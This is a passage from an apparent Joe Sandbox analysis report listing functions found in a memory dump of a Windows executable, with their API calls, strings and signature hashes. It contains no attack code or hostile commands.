Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: bbb8373922c4c1ac776fb25ab571143455ae640d91028c4cde848772eb275b70
Instruction ID: ea21a390ca632f462b71ad3510a1c69aa2108c62862f69551841ebbcabae3ccc
Opcode Fuzzy Hash: bbb8373922c4c1ac776fb25ab571143455ae640d91028c4cde848772eb275b70
Instruction Fuzzy Hash: 0EB16C21B1EA0394EA74BB39D8409BCAB61FF807D5BD44131D91E47699EF2CE9678320

Function 00007FF797832620 Relevance: 28.7, APIs: 19, Instructions: 201COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF797832750: GetWindowLongPtrW.USER32 ref: 00007FF797832766

GetSysColor.USER32 ref: 00007FF797832663
GetSysColor.USER32 ref: 00007FF7978326F8
SetTextColor.GDI32 ref: 00007FF797832703
SetBkMode.GDI32 ref: 00007FF797832718
GetStockObject.GDI32 ref: 00007FF797832723
GetSysColor.USER32 ref: 00007FF79787A84E
GetWindowLongW.USER32 ref: 00007FF79787A863
SetBkColor.GDI32 ref: 00007FF79787A940

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Color$LongWindow$ModeObjectStockText
String ID:
API String ID: 554392163-0
Opcode ID: 75ec6bcd28a8efb3125b08e197a7caecd4c99aa61c3caa47667afd5c8d51fa7a
Instruction ID: 77cb4ec7716a0f78fa2a9e07773626ffbe231e752020eea0480d77a5ffa8d675
Opcode Fuzzy Hash: 75ec6bcd28a8efb3125b08e197a7caecd4c99aa61c3caa47667afd5c8d51fa7a
Instruction Fuzzy Hash: 0281CA21E0C55741EA70B73D9848A79AB91BF45BE4FD50231C99E077E4DF3CA8A38721

Function 00007FF7978AC81C Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 140COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION ref: 00007FF7978AC841
GetFileVersionInfoW.VERSION ref: 00007FF7978AC869
wcscpy.LIBCMT ref: 00007FF7978AC8A6
wcscat.LIBCMT ref: 00007FF7978AC8C8
wcsstr.LIBVCRUNTIME ref: 00007FF7978AC8D3
VerQueryValueW.VERSION ref: 00007FF7978AC8F4
wcscat.LIBCMT ref: 00007FF7978AC934
wcscat.LIBCMT ref: 00007FF7978AC93F
wcscat.LIBCMT ref: 00007FF7978AC94A
VerQueryValueW.VERSION ref: 00007FF7978AC9A0

Strings

StringFileInfo\, xrefs: 00007FF7978AC8BE
04090000, xrefs: 00007FF7978AC92A
\VarFileInfo\Translation, xrefs: 00007FF7978AC8ED
%u.%u.%u.%u, xrefs: 00007FF7978AC9BE
DefaultLangCodepage, xrefs: 00007FF7978AC94F

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: wcscat$FileInfoQueryValueVersion$Sizewcscpywcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 222038402-1459072770
Opcode ID: 2b452cf843a402516bc94fd48c8ebc97225daa6de840f4512dc78cc620abe9a7
Instruction ID: 1aabe9c791cfc33ad1567f7ebe03032db0a4c722f85c46cdd5062e24172c6e24
Opcode Fuzzy Hash: 2b452cf843a402516bc94fd48c8ebc97225daa6de840f4512dc78cc620abe9a7
Instruction Fuzzy Hash: EE518D2171C64286EA24FB3295459B9AB91BF85FE0FC08471ED0D47B86DF3CE5138324

Function 00007FF7978D6608 Relevance: 25.0, APIs: 3, Strings: 11, Instructions: 475windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32 ref: 00007FF7978D66C7
SendMessageW.USER32 ref: 00007FF7978D6749

Strings

GETITEMCOUNT, xrefs: 00007FF7978D6922
ISCHECKED, xrefs: 00007FF7978D6A78
GETTEXT, xrefs: 00007FF7978D69F7
GETSELECTED, xrefs: 00007FF7978D698F
EXPAND, xrefs: 00007FF7978D68B4
UNCHECK, xrefs: 00007FF7978D6B76
COLLAPSE, xrefs: 00007FF7978D67D1
CHECK, xrefs: 00007FF7978D676F
EXISTS, xrefs: 00007FF7978D6833
GETTOTALCOUNT, xrefs: 00007FF7978D66F9
SELECT, xrefs: 00007FF7978D6B0B

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: 3f2e69d4aa51dbb406168e8eec17f7dda2e2331c7f002e480690ed7ff1453b94
Instruction ID: b2dcfce28c6c1bcbddf722cfa12741751c3751b8279c661fe4aadc9d32a381f1
Opcode Fuzzy Hash: 3f2e69d4aa51dbb406168e8eec17f7dda2e2331c7f002e480690ed7ff1453b94
Instruction Fuzzy Hash: E912B292B18657C2EE70BB7984819BDAFA1AF54FD4BC84531DA4D47781EE2CE4638320

Function 00007FF7978E1254 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 162windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF797832A54: GetWindowLongPtrW.USER32 ref: 00007FF797832A71

DragQueryPoint.SHELL32 ref: 00007FF7978E1298

Part of subcall function 00007FF7978DF014: ClientToScreen.USER32(00000000,?,?,?,?,00007FF7978E0BC9), ref: 00007FF7978DF054
Part of subcall function 00007FF7978DF014: GetWindowRect.USER32(?,?,?,?,00007FF7978E0BC9), ref: 00007FF7978DF0E3
Part of subcall function 00007FF7978DF014: PtInRect.USER32 ref: 00007FF7978DF0F3

SendMessageW.USER32 ref: 00007FF7978E130F
DragQueryFileW.SHELL32 ref: 00007FF7978E1321
DragQueryFileW.SHELL32 ref: 00007FF7978E1347
wcscat.LIBCMT ref: 00007FF7978E137B
SendMessageW.USER32 ref: 00007FF7978E1392
SendMessageW.USER32 ref: 00007FF7978E13AC
SendMessageW.USER32 ref: 00007FF7978E13C4
SendMessageW.USER32 ref: 00007FF7978E13E9
DragFinish.SHELL32 ref: 00007FF7978E13F2
DefDlgProcW.USER32 ref: 00007FF7978E1520

Strings

@GUI_DRAGFILE, xrefs: 00007FF7978E14B4
@GUI_DROPID, xrefs: 00007FF7978E1415
@GUI_DRAGID, xrefs: 00007FF7978E146B

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreenwcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 2091158083-3440237614
Opcode ID: 1dfcd66b1beb431dd94c898c6b643c1c8ea49badc5456dbef34fa79d17b29ff8
Instruction ID: 99462459833bb0e10f3059ab82be4a9eb116a36e6101510a9d6aab9a2dbab53a
Opcode Fuzzy Hash: 1dfcd66b1beb431dd94c898c6b643c1c8ea49badc5456dbef34fa79d17b29ff8
Instruction Fuzzy Hash: 5C712032618A8296E720FB35E855BEDAB20FB84BD4FC00032EA4D07A99DF7CD556C750

Function 00007FF7978B3FD0 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 197COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32 ref: 00007FF7978B4077
GetDriveTypeW.KERNEL32 ref: 00007FF7978B4162
mciSendStringW.WINMM ref: 00007FF7978B41AA
mciSendStringW.WINMM ref: 00007FF7978B41F1
mciSendStringW.WINMM ref: 00007FF7978B4229

Strings

open , xrefs: 00007FF7978B4171
type cdaudio alias cd wait, xrefs: 00007FF7978B418E
wait, xrefs: 00007FF7978B41D5
close cd wait, xrefs: 00007FF7978B420D
closed, xrefs: 00007FF7978B408C
open, xrefs: 00007FF7978B40DC
close, xrefs: 00007FF7978B407D
set cd door , xrefs: 00007FF7978B41B8

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 1600147383-4113822522
Opcode ID: f7a7ab7ec1fa580d5e6ff973f8f4b9d76ff6f996739de9da71bd8b134ea55aea
Instruction ID: 3f46b166e2bc2e4e44dbc532236bb02bee6b7d33e4b2b98f71fd4b1b0074ac62
Opcode Fuzzy Hash: f7a7ab7ec1fa580d5e6ff973f8f4b9d76ff6f996739de9da71bd8b134ea55aea
Instruction Fuzzy Hash: 0A819F22B14A1285EB20AB75D852ABCABB1FB54BD4B944431CE0D47795EF3CE957C320

Function 00007FF7978E0118 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 175windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32 ref: 00007FF7978E0201
LoadLibraryExW.KERNEL32 ref: 00007FF7978E026C
LoadImageW.USER32 ref: 00007FF7978E02B0
LoadImageW.USER32 ref: 00007FF7978E02EB
LoadImageW.USER32 ref: 00007FF7978E032F
FreeLibrary.KERNEL32 ref: 00007FF7978E033C
ExtractIconExW.SHELL32 ref: 00007FF7978E034E
DestroyIcon.USER32 ref: 00007FF7978E0360
SendMessageW.USER32 ref: 00007FF7978E037F
SendMessageW.USER32 ref: 00007FF7978E0397

Part of subcall function 00007FF797858E28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF797858E4F

Part of subcall function 00007FF797858E28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF797858EED

Strings

.exe, xrefs: 00007FF7978E0193
.icl, xrefs: 00007FF7978E0171
.dll, xrefs: 00007FF7978E01B5

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend_invalid_parameter_noinfo$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 258715311-1154884017
Opcode ID: e03b8a297f3e31543187ea4d980dcab107f3fc290ba37e0d0746b7471e731d00
Instruction ID: a01ccaa4497282aff6d9cfbe1b35b1208dea6072c5d067cd188407103566aa42
Opcode Fuzzy Hash: e03b8a297f3e31543187ea4d980dcab107f3fc290ba37e0d0746b7471e731d00
Instruction Fuzzy Hash: 9971C232A1865282EB34BF359844AB9ABA0FF44BD8F940A36ED5D47794DF3CD456C310

Function 00007FF7978E03D0 Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF7978E0422
GetFileSize.KERNEL32 ref: 00007FF7978E0436
GlobalAlloc.KERNEL32 ref: 00007FF7978E0445
CloseHandle.KERNEL32 ref: 00007FF7978E0456
GlobalLock.KERNEL32 ref: 00007FF7978E0466
ReadFile.KERNEL32 ref: 00007FF7978E047E
GlobalUnlock.KERNEL32 ref: 00007FF7978E0489
CloseHandle.KERNEL32 ref: 00007FF7978E0492
CreateStreamOnHGlobal.OLE32 ref: 00007FF7978E04A8
OleLoadPicture.OLEAUT32 ref: 00007FF7978E04CB
GlobalFree.KERNEL32 ref: 00007FF7978E04DE
GetObjectW.GDI32 ref: 00007FF7978E0508
CopyImage.USER32 ref: 00007FF7978E0541
DeleteObject.GDI32 ref: 00007FF7978E056E
SendMessageW.USER32 ref: 00007FF7978E058D

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 7c311c18288b1496fa214aa0c4abe44590be5c31b38ad7f7d9d564ed982c3a32
Instruction ID: e3b657fa55fb7091f390b795756c5ec43d8f385a27dca8a59a12f02f01516cc7
Opcode Fuzzy Hash: 7c311c18288b1496fa214aa0c4abe44590be5c31b38ad7f7d9d564ed982c3a32
Instruction Fuzzy Hash: A9517536B14B0186EB24EF72E808A6D7BA0FB88B98B904531DE2E43B44DF3DD416C710

Function 00007FF7978B246C Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 281fileCOMMON

Download Yara Rule

APIs

wcscpy.LIBCMT ref: 00007FF7978B2590
wcscat.LIBCMT ref: 00007FF7978B25A3
wcscat.LIBCMT ref: 00007FF7978B25E1
wcscat.LIBCMT ref: 00007FF7978B25F4

Part of subcall function 00007FF7978367D8: _fread_nolock.LIBCMT ref: 00007FF797836805

GetTempPathW.KERNEL32 ref: 00007FF7978B271B
GetTempFileNameW.KERNEL32 ref: 00007FF7978B2737

Part of subcall function 00007FF7978648E0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF797864835

DeleteFileW.KERNEL32 ref: 00007FF7978B2854
DeleteFileW.KERNEL32 ref: 00007FF7978B28BB

Strings

aut, xrefs: 00007FF7978B2729

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Filewcscat$DeleteTemp$NamePath_fread_nolock_invalid_parameter_noinfowcscpy
String ID: aut
API String ID: 130057722-3010740371
Opcode ID: c4caddb39eaee0ea37527165baf1375b84cec99aff813e3a0a5a195433975e43
Instruction ID: 8546f699f0b00e240363c2fef7214972f17ea1eae032029a1cb409ba9c983d78
Opcode Fuzzy Hash: c4caddb39eaee0ea37527165baf1375b84cec99aff813e3a0a5a195433975e43
Instruction Fuzzy Hash: A1C14172718A8695EB30EF35E840AE9AB60FB857C8F804136EA4D47A59DF7CD216C710

Function 00007FF7978DE40C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 177windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00007FF7978DE510
CreateWindowExW.USER32 ref: 00007FF7978DE5BC
SendMessageW.USER32 ref: 00007FF7978DE5E3
SendMessageW.USER32 ref: 00007FF7978DE5F8
DestroyWindow.USER32 ref: 00007FF7978DE61C
CreateWindowExW.USER32 ref: 00007FF7978DE675
SendMessageW.USER32 ref: 00007FF7978DE692
GetDesktopWindow.USER32 ref: 00007FF7978DE6AE
GetWindowRect.USER32 ref: 00007FF7978DE6BB
SendMessageW.USER32 ref: 00007FF7978DE6D0
SendMessageW.USER32 ref: 00007FF7978DE6EE

Strings

tooltips_class32, xrefs: 00007FF7978DE570, 00007FF7978DE63F

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopRect
String ID: tooltips_class32
API String ID: 2443926738-1918224756
Opcode ID: aaeb60d555cc86bf3e66e764e60d0e4162c92bacd9f6913f3df39f71d352b9df
Instruction ID: 7213b19223c75d4888fdf4e1178a1a242b441ad48d8527b2810ab0bac806ec75
Opcode Fuzzy Hash: aaeb60d555cc86bf3e66e764e60d0e4162c92bacd9f6913f3df39f71d352b9df
Instruction Fuzzy Hash: C2916B32A18A8685E760EF75E494BADBBA1EB84BD4F814036DE4D07B58DF3CD056C720

Function 00007FF7978C4F54 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 151windowCOMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF7978C4FDF
CreateCompatibleBitmap.GDI32 ref: 00007FF7978C4FF3
CreateCompatibleDC.GDI32 ref: 00007FF7978C5001
SelectObject.GDI32 ref: 00007FF7978C5011
StretchBlt.GDI32 ref: 00007FF7978C5087
GetDIBits.GDI32 ref: 00007FF7978C50CE
GetDIBits.GDI32 ref: 00007FF7978C5107
SelectObject.GDI32 ref: 00007FF7978C5116
DeleteObject.GDI32 ref: 00007FF7978C511F
DeleteDC.GDI32 ref: 00007FF7978C5128
ReleaseDC.USER32 ref: 00007FF7978C5133

Strings

, xrefs: 00007FF7978C5053

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID:
API String ID: 2598888154-3916222277
Opcode ID: 528b72066858b9ed5150b72f7d283d240cd81545529c42844d8e0930b848dd07
Instruction ID: 7ca6e90655c9f5af41f10ba182403cfed94475ce61c9a0cf7ea3368eb0c8df85
Opcode Fuzzy Hash: 528b72066858b9ed5150b72f7d283d240cd81545529c42844d8e0930b848dd07
Instruction Fuzzy Hash: 70515776B19641CBE760EF75E844A9DBBA1FB48BC8F408125EE4953B18CF3CD4668B10

Function 00007FF79789B0C4 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 117memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32 ref: 00007FF79789B101
SafeArrayAllocData.OLEAUT32 ref: 00007FF79789B163
VariantInit.OLEAUT32 ref: 00007FF79789B175
SafeArrayAccessData.OLEAUT32 ref: 00007FF79789B198
VariantCopy.OLEAUT32 ref: 00007FF79789B203
SafeArrayUnaccessData.OLEAUT32 ref: 00007FF79789B217
VariantClear.OLEAUT32 ref: 00007FF79789B22E
SafeArrayDestroyData.OLEAUT32 ref: 00007FF79789B23D
SafeArrayDestroyDescriptor.OLEAUT32 ref: 00007FF79789B247
VariantClear.OLEAUT32 ref: 00007FF79789B25A
SafeArrayDestroyDescriptor.OLEAUT32 ref: 00007FF79789B266

Strings

NULL Pointer assignment, xrefs: 00007FF79789B0D3

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID: NULL Pointer assignment
API String ID: 2706829360-2785691316
Opcode ID: f387a50e6818b73d110b12cd73088d785cdd73093c11eac48bc39c6d5f3c3ae3
Instruction ID: 38f39f6d24c40342ed6e524c984b6d2f1331c8f23ae3de040c498dc0bb9f1a30
Opcode Fuzzy Hash: f387a50e6818b73d110b12cd73088d785cdd73093c11eac48bc39c6d5f3c3ae3
Instruction Fuzzy Hash: 79514F22A15A62CAEB50EF75D885ABDAB71FF84BC9F804031EA0E47655DF3CE056C350

Function 00007FF7978D1110 Relevance: 19.6, APIs: 1, Strings: 10, Instructions: 371COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,00000000,?,?,?,00007FF7978CFD7B), ref: 00007FF7978D1143

Strings

HKCR, xrefs: 00007FF7978D1369
HKEY_CLASSES_ROOT, xrefs: 00007FF7978D132C
HKEY_CURRENT_CONFIG, xrefs: 00007FF7978D13D1
HKEY_USERS, xrefs: 00007FF7978D1505
HKEY_CURRENT_USER, xrefs: 00007FF7978D146B
HKCC, xrefs: 00007FF7978D140E
HKEY_LOCAL_MACHINE, xrefs: 00007FF7978D1285
HKCU, xrefs: 00007FF7978D14A8
HKU, xrefs: 00007FF7978D1542
HKLM, xrefs: 00007FF7978D12C2

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: 48ce5f8ab7038dd94976e3b00d3167ae2925137fb7b03817e14e3f39c5b841c4
Instruction ID: 3ce7ab6b7f4624675b7c1af1581b145e635b72dded86dd2f7fe3e09eb0d41ea1
Opcode Fuzzy Hash: 48ce5f8ab7038dd94976e3b00d3167ae2925137fb7b03817e14e3f39c5b841c4
Instruction Fuzzy Hash: 10E1A012F0865781EA74BB75D880AB8ABA1BF10BD8BC64531D91D477D4EE3CE967C320

Function 00007FF7978B87CC Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 200COMMON

Download Yara Rule

APIs

wcscat.LIBCMT ref: 00007FF7978B898D
wcscat.LIBCMT ref: 00007FF7978B899E
GetCurrentDirectoryW.KERNEL32 ref: 00007FF7978B89AF
SetCurrentDirectoryW.KERNEL32 ref: 00007FF7978B89BC
GetFileAttributesW.KERNEL32 ref: 00007FF7978B89ED
SetFileAttributesW.KERNEL32 ref: 00007FF7978B8A03
SetCurrentDirectoryW.KERNEL32 ref: 00007FF7978B8A14
SetCurrentDirectoryW.KERNEL32 ref: 00007FF7978B8A76
wcscpy.LIBCMT ref: 00007FF7978B8A88
SetCurrentDirectoryW.KERNEL32 ref: 00007FF7978B8AC5

Strings

*.*, xrefs: 00007FF7978B8A7C

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: CurrentDirectory$AttributesFilewcscat$wcscpy
